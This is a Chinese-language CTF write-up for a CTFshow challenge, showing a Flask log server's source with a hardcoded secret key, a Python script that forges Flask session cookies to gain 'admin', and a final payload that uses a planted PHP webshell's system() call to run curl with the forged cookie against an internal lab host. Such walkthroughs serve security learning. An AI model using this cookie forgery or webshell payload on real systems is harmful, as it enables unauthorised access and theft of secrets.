跳转至

[CTFshow]第四章:再下一城

题目地址:https://ctf.show/challenges#%E5%86%8D%E4%B8%8B%E4%B8%80%E5%9F%8E-4528

现在是来到了第四章,题目所需环境在前面已有,我们通过 172.2.xx.5/1.php?1=system('ls /') 即可进行 rce.

分析题目,要求我们获得 log_server_key.txt 的内容。这个内容出现在之前获得的 main.py.bak 中,内容如下:

main.py.bak
from flask import Flask, request, jsonify,session
from flask import url_for
from flask import redirect
import logging
from os.path import basename
from os.path import join

app = Flask(__name__)

app.config['SECRET_KEY'] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5'

@app.route('/', methods=['GET'])
def index():
    session['user']='guest'
    return {'message': 'log server is running'}

def check_session():
    if 'user' not in session:
        return False
    if session['user'] != 'admin':
        return False
    return True

@app.route('/key', methods=['GET'])
def get_key():
    if not check_session():
        return {"message": "not authorized"}
    else:
        with open('/log_server_key.txt', 'r') as f:
            key = f.read()
        return {'message': 'key', 'key': key}

@app.route('/set_log_option')
def set_log_option():
    if not check_session():
        return {"message": "not authorized"}

    logName = request.args.get('logName')
    logFile = request.args.get('logFile')
    app_log = logging.getLogger(logName)
    app_log.addHandler(logging.FileHandler('./log/'+logFile))
    app_log.setLevel(logging.INFO)
    clear_log_file('./log/'+logFile)
    return {'message': 'log option set successfully'}


@app.route('/get_log_content')
def get_log_content():
    if not check_session():
        return {"message": "not authorized"}

    logFile = request.args.get('logFile')
    path = join('log',basename(logFile))
    with open(path, 'r') as f:
        content = f.read()
    return {'message': 'log content', 'content': content}

def clear_log_file(file_path):
    with open(file_path, 'w'):
        pass

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=8888)

分析即可得知,我们需要访问 /key 路由,但是我们首先要有 session 中,user=admin 的权限才可以获得 log_server_key.txt 的内容。这就是典型的 flask session 伪造。因为 secret_key 已经给出,所以我们使用我们下面的脚本即可:(main 函数以前的部分可公用,建议保存)

import zlib
from itsdangerous import base64_decode
import ast
import os
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key


class FSCM:
    def encode(secret_key, session_cookie_structure):
        """ Encode a Flask session cookie """
        try:
            app = MockApp(secret_key)

            session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)

            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error] {}".format(e)

    @staticmethod
    def decode(session_cookie_value, secret_key=None):
        try:
            if secret_key is None:
                compressed = False
                payload = session_cookie_value
                if payload.startswith('.'):
                    compressed = True
                    payload = payload[1:]
                data = payload.split(".")[0]
                data = base64_decode(data)
                if compressed:
                    data = zlib.decompress(data)
                return data
            else:
                app = MockApp(secret_key)
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.loads(session_cookie_value)
        except Exception as e:
            return "[Decoding error] {}".format(e)


token = "eyJ1c2VyIjoiZ3Vlc3QifQ.Z4tZlw.robFTtva8Nvp3wvXNrsEpvaPmCo"

key = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5'

payload = "{'user': 'admin'}"

token2 = "eyJ1c2VyIjoiYWRtaW4ifQ.Z4ta_Q.jt7HmSyyYLst2m6r1_BMmQI4VHM"

if __name__ == "__main__":
    # print(FSCM.encode("secret", '{"user":"admin"}'))
    print(FSCM.decode(token2, key))
    # print(FSCM.encode(key, payload))

简述一下流程就是,我们先通过 FSCM.decode 函数解码出原来的 session,然后我们修改其中的内容为 {'user': 'admin'}, 然后重新编码即可。最后我们获得 session 为 eyJ1c2VyIjoiYWRtaW4ifQ.Z4ta_Q.jt7HmSyyYLst2m6r1_BMmQI4VHM,但是它是 cookie,我们没办法直接在 download Task File 那个里面使用,怎么办?

要进行攻击,首先要找到靶机。通过爆破可以得知,这个 flask 服务器的地址为 172.2.xx.6:8888 。我们直接访问就会出现源码里的那个 message:

然后直接访问 /key 肯定是不行的,我们需要带上我们的 cookie.

这时候,我们就可以使用我们之前的 1.php 来进行访问了。看看 curl 命令是如何带上 cookie 的:

Examples:
    curl -b "" https://example.com
    curl -b cookiefile https://example.com
    curl -b cookiefile -c cookiefile https://example.com
    curl -b name=Jane https://example.com

看第四行,一下就明白了,我们直接写 payload:

http://172.2.199.5/1.php?1=system('curl -b session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4ta_Q.jt7HmSyyYLst2m6r1_BMmQI4VHM 172.2.199.6:8888/key');

也不需要多解释了,得到的结果就是 flag。


文章热度:0次阅读